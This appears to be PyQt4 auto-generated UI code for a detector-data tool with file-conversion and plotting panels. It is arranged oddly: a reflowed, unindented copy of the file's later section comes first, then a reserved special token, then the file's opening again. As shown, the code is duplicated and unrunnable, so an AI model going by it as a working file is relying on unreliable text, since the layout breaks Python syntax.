sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().
hasHeightForWidth())
self.groupBox.setSizePolicy(sizePolicy)
self.groupBox.setMinimumSize(QtCore.QSize(100, 200))
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox.setFont(font)
self.groupBox.setWhatsThis(_fromUtf8(''))
self.groupBox.setObjectName(_fromUtf8('groupBox'))
self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594,
32))
self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(
'horizontalLayoutWidget_6'))
self.horizontalLayout_9 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_6)
self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9'))
self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)
self.label_7.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_7.setFont(font)
self.label_7.setObjectName(_fromUtf8('label_7'))
self.horizontalLayout_9.addWidget(self.label_7)
self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)
self.browserButton_7.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().
hasHeightForWidth())
self.browserButton_7.setSizePolicy(sizePolicy)
self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton_7.setObjectName(_fromUtf8('browserButton_7'))
self.horizontalLayout_9.addWidget(self.browserButton_7)
self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)
self.filePathEdit_7.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().
hasHeightForWidth())
self.filePathEdit_7.setSizePolicy(sizePolicy)
self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7'))
self.horizontalLayout_9.addWidget(self.filePathEdit_7)
self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)
)
self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(
'horizontalLayoutWidget_9'))
self.horizontalLayout_10 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_9)
self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10')
)
self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)
self.label_11.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_11.setFont(font)
self.label_11.setObjectName(_fromUtf8('label_11'))
self.horizontalLayout_10.addWidget(self.label_11)
self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)
self.browserButton.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().
hasHeightForWidth())
self.browserButton.setSizePolicy(sizePolicy)
self.browserButton.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton.setObjectName(_fromUtf8('browserButton'))
self.horizontalLayout_10.addWidget(self.browserButton)
self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)
self.filePathEdit_3.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().
hasHeightForWidth())
self.filePathEdit_3.setSizePolicy(sizePolicy)
self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3'))
self.horizontalLayout_10.addWidget(self.filePathEdit_3)
self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592,
32))
self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(
'horizontalLayoutWidget_10'))
self.horizontalLayout_11 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_10)
self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11')
)
self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)
self.label_12.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_12.setFont(font)
self.label_12.setObjectName(_fromUtf8('label_12'))
self.horizontalLayout_11.addWidget(self.label_12)
self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10
)
self.browserButton_3.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().
hasHeightForWidth())
self.browserButton_3.setSizePolicy(sizePolicy)
self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton_3.setObjectName(_fromUtf8('browserButton_3'))
self.horizontalLayout_11.addWidget(self.browserButton_3)
self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().
hasHeightForWidth())
self.filePathEdit_5.setSizePolicy(sizePolicy)
self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5'))
self.horizontalLayout_11.addWidget(self.filePathEdit_5)
self.runButton = QtGui.QPushButton(self.groupBox)
self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.runButton.sizePolicy().
hasHeightForWidth())
self.runButton.setSizePolicy(sizePolicy)
self.runButton.setMinimumSize(QtCore.QSize(80, 50))
self.runButton.setIconSize(QtCore.QSize(24, 24))
self.runButton.setObjectName(_fromUtf8('runButton'))
self.verticalLayout.addWidget(self.groupBox)
self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().
hasHeightForWidth())
self.groupBox_2.setSizePolicy(sizePolicy)
self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox_2.setFont(font)
self.groupBox_2.setAutoFillBackground(True)
self.groupBox_2.setObjectName(_fromUtf8('groupBox_2'))
self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)
)
self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(
'horizontalLayoutWidget_4'))
self.horizontalLayout_6 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_4)
self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6'))
self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8('label_3'))
self.horizontalLayout_6.addWidget(self.label_3)
self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().
hasHeightForWidth())
self.browserButton_4.setSizePolicy(sizePolicy)
self.browserButton_4.setObjectName(_fromUtf8('browserButton_4'))
self.horizontalLayout_6.addWidget(self.browserButton_4)
self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().
hasHeightForWidth())
self.loadButton.setSizePolicy(sizePolicy)
self.loadButton.setObjectName(_fromUtf8('loadButton'))
self.horizontalLayout_6.addWidget(self.loadButton)
self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().
hasHeightForWidth())
self.filePathEdit_4.setSizePolicy(sizePolicy)
self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))
self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4'))
self.horizontalLayout_6.addWidget(self.filePathEdit_4)
self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)
)
self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(
'horizontalLayoutWidget_2'))
self.horizontalLayout_2 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_2)
self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2'))
self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label_4.sizePolicy().
hasHeightForWidth())
self.label_4.setSizePolicy(sizePolicy)
self.label_4.setObjectName(_fromUtf8('label_4'))
self.horizontalLayout_2.addWidget(self.label_4)
self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().
hasHeightForWidth())
self.comboBox.setSizePolicy(sizePolicy)
self.comboBox.setObjectName(_fromUtf8('comboBox'))
self.horizontalLayout_2.addWidget(self.comboBox)
self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().
hasHeightForWidth())
self.plotButton.setSizePolicy(sizePolicy)
self.plotButton.setObjectName(_fromUtf8('plotButton'))
self.horizontalLayout_2.addWidget(self.plotButton)
self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481,
29))
self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(
'horizontalLayoutWidget_3'))
self.horizontalLayout_3 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_3)
self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3'))
self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)
self.label_5.setObjectName(_fromUtf8('label_5'))
self.horizontalLayout_3.addWidget(self.label_5)
self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().
hasHeightForWidth())
self.comboBox_R1.setSizePolicy(sizePolicy)
self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))
self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1'))
self.horizontalLayout_3.addWidget(self.comboBox_R1)
self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)
self.label.setEnabled(False)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label.sizePolicy().
hasHeightForWidth())
self.label.setSizePolicy(sizePolicy)
self.label.setMinimumSize(QtCore.QSize(30, 0))
self.label.setMaximumSize(QtCore.QSize(30, 29))
font = QtGui.QFont()
font.setBold(True)
font.setItalic(True)
font.setUnderline(False)
font.setWeight(75)
self.label.setFont(font)
self.label.setAutoFillBackground(True)
self.label.setLineWidth(5)
self.label.setAlignment(QtCore.Qt.AlignCenter)
self.label.setObjectName(_fromUtf8('label'))
self.horizontalLayout_3.addWidget(self.label)
self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().
hasHeightForWidth())
self.comboBox_R2.setSizePolicy(sizePolicy)
self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2'))
self.horizontalLayout_3.addWidget(self.comboBox_R2)
self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().
hasHeightForWidth())
self.plotRangeButton.setSizePolicy(sizePolicy)
self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton'))
self.horizontalLayout_3.addWidget(self.plotRangeButton)
self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481,
29))
self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(
'horizontalLayoutWidget_7'))
self.horizontalLayout_5 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_7)
self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5'))
self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)
self.label_8.setObjectName(_fromUtf8('label_8'))
self.horizontalLayout_5.addWidget(self.label_8)
self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().
hasHeightForWidth())
self.comboBox_2.setSizePolicy(sizePolicy)
self.comboBox_2.setObjectName(_fromUtf8('comboBox_2'))
self.horizontalLayout_5.addWidget(self.comboBox_2)
self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().
hasHeightForWidth())
self.checkBox.setSizePolicy(sizePolicy)
self.checkBox.setObjectName(_fromUtf8('checkBox'))
self.horizontalLayout_5.addWidget(self.checkBox)
self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().
hasHeightForWidth())
self.plotImageButton.setSizePolicy(sizePolicy)
self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))
self.plotImageButton.setObjectName(_fromUtf8('plotImageButton'))
self.horizontalLayout_5.addWidget(self.plotImageButton)
self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)
self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().
hasHeightForWidth())
self.clearPlotButton.setSizePolicy(sizePolicy)
self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))
self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton'))
self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))
self.horizontalLayoutWidget.setObjectName(_fromUtf8(
'horizontalLayoutWidget'))
self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)
self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))
self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)
self.label_9.setObjectName(_fromUtf8('label_9'))
self.horizontalLayout.addWidget(self.label_9)
self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().
hasHeightForWidth())
self.pushButton.setSizePolicy(sizePolicy)
self.pushButton.setMinimumSize(QtCore.QSize(80, 15))
self.pushButton.setObjectName(_fromUtf8('pushButton'))
self.horizontalLayout.addWidget(self.pushButton)
self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().
hasHeightForWidth())
self.plotStripsButton.setSizePolicy(sizePolicy)
self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))
self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton'))
self.horizontalLayout.addWidget(self.plotStripsButton)
self.verticalLayout.addWidget(self.groupBox_2)
MainWindow.setCentralWidget(self.centralwidget)
self.statusbar = QtGui.QStatusBar(MainWindow)
self.statusbar.setObjectName(_fromUtf8('statusbar'))
MainWindow.setStatusBar(self.statusbar)
self.toolBar = QtGui.QToolBar(MainWindow)
self.toolBar.setObjectName(_fromUtf8('toolBar'))
MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)
self.menuBar = QtGui.QMenuBar(MainWindow)
self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))
self.menuBar.setObjectName(_fromUtf8('menuBar'))
MainWindow.setMenuBar(self.menuBar)
self.actionOpen = QtGui.QAction(MainWindow)
self.actionOpen.setVisible(True)
self.actionOpen.setObjectName(_fromUtf8('actionOpen'))
self.actionQuit = QtGui.QAction(MainWindow)
self.actionQuit.setObjectName(_fromUtf8('actionQuit'))
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None))
self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None))
self.groupBox.setTitle(_translate('MainWindow',
' BINARY DATA CONVERSION', None))
self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None))
self.browserButton_7.setText(_translate('MainWindow', 'Browse', None))
self.filePathEdit_7.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\', None))
self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None))
self.browserButton.setText(_translate('MainWindow', 'Browse', None))
self.filePathEdit_3.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\qtGSD\\gsd_parse.out', None))
self.label_12.setText(_translate('MainWindow', ' INPUT FILE ',
None))
self.browserButton_3.setText(_translate('MainWindow', 'Browse', None))
self.filePathEdit_5.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\', None))
self.runButton.setText(_translate('MainWindow', 'Run', None))
self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None))
self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None))
self.browserButton_4.setText(_translate('MainWindow', 'Browse', None))
self.loadButton.setText(_translate('MainWindow', 'Load', None))
self.filePathEdit_4.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\', None))
self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None))
self.plotButton.setText(_translate('MainWindow', 'Plot', None))
self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None))
self.label.setText(_translate('MainWindow', 'to', None))
self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None))
self.label_8.setText(_translate('MainWindow',
' PLOT SPECTRA AS 2-D IMAGE', None))
self.checkBox.setText(_translate('MainWindow', 'Log', None))
self.plotImageButton.setText(_translate('MainWindow', 'Plot Image',
None))
self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None))
self.label_9.setText(_translate('MainWindow',
' PLOT TOTAL COUNTS vs STRIP', None))
self.pushButton.setText(_translate('MainWindow', 'Update', None))
self.plotStripsButton.setText(_translate('MainWindow',
'Plot Strips', None))
self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None))
self.actionOpen.setText(_translate('MainWindow', 'Open', None))
self.actionQuit.setText(_translate('MainWindow', 'Quit', None))
<|reserved_special_token_1|>
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'qtGSD_DESIGN.ui'
#
# Created by: PyQt4 UI code generator 4.11.4
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName(_fromUtf8("MainWindow"))
MainWindow.resize(661, 728)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth())
MainWindow.setSizePolicy(sizePolicy)
MainWindow.setMinimumSize(QtCore.QSize(100, 100))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
MainWindow.setFont(font)
MainWindow.setAutoFillBackground(False)
MainWindow.setTabShape(QtGui.QTabWidget.Rounded)
self.centralwidget = QtGui.QWidget(MainWindow)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().hasHeightForWidth())
self.centralwidget.setSizePolicy(sizePolicy)
self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))
self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))
self.centralwidget.setObjectName(_fromUtf8("centralwidget"))
self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().hasHeightForWidth())
self.groupBox_3.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox_3.setFont(font)
self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)
self.groupBox_3.setAutoFillBackground(True)
self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)
self.groupBox_3.setObjectName(_fromUtf8("groupBox_3"))
self.gridLayout = QtGui.QGridLayout(self.groupBox_3)
self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)
self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
self.MainVertLayout = QtGui.QVBoxLayout()
self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)
self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)
self.MainVertLayout.setSpacing(0)
self.MainVertLayout.setObjectName(_fromUtf8("MainVertLayout"))
self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)
self.verticalLayout.addWidget(self.groupBox_3)
self.groupBox = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().hasHeightForWidth())
self.groupBox.setSizePolicy(sizePolicy)
self.groupBox.setMinimumSize(QtCore.QSize(100, 200))
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox.setFont(font)
self.groupBox.setWhatsThis(_fromUtf8(""))
self.groupBox.setObjectName(_fromUtf8("groupBox"))
self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594, 32))
self.horizontalLayoutWidget_6.setObjectName(_fromUtf8("horizontalLayoutWidget_6"))
self.horizontalLayout_9 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_6)
self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_9.setObjectName(_fromUtf8("horizontalLayout_9"))
self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)
self.label_7.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_7.setFont(font)
self.label_7.setObjectName(_fromUtf8("label_7"))
self.horizontalLayout_9.addWidget(self.label_7)
self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)
self.browserButton_7.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().hasHeightForWidth())
self.browserButton_7.setSizePolicy(sizePolicy)
self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton_7.setObjectName(_fromUtf8("browserButton_7"))
self.horizontalLayout_9.addWidget(self.browserButton_7)
self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)
self.filePathEdit_7.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().hasHeightForWidth())
self.filePathEdit_7.setSizePolicy(sizePolicy)
self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_7.setObjectName(_fromUtf8("filePathEdit_7"))
self.horizontalLayout_9.addWidget(self.filePathEdit_7)
self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32))
self.horizontalLayoutWidget_9.setObjectName(_fromUtf8("horizontalLayoutWidget_9"))
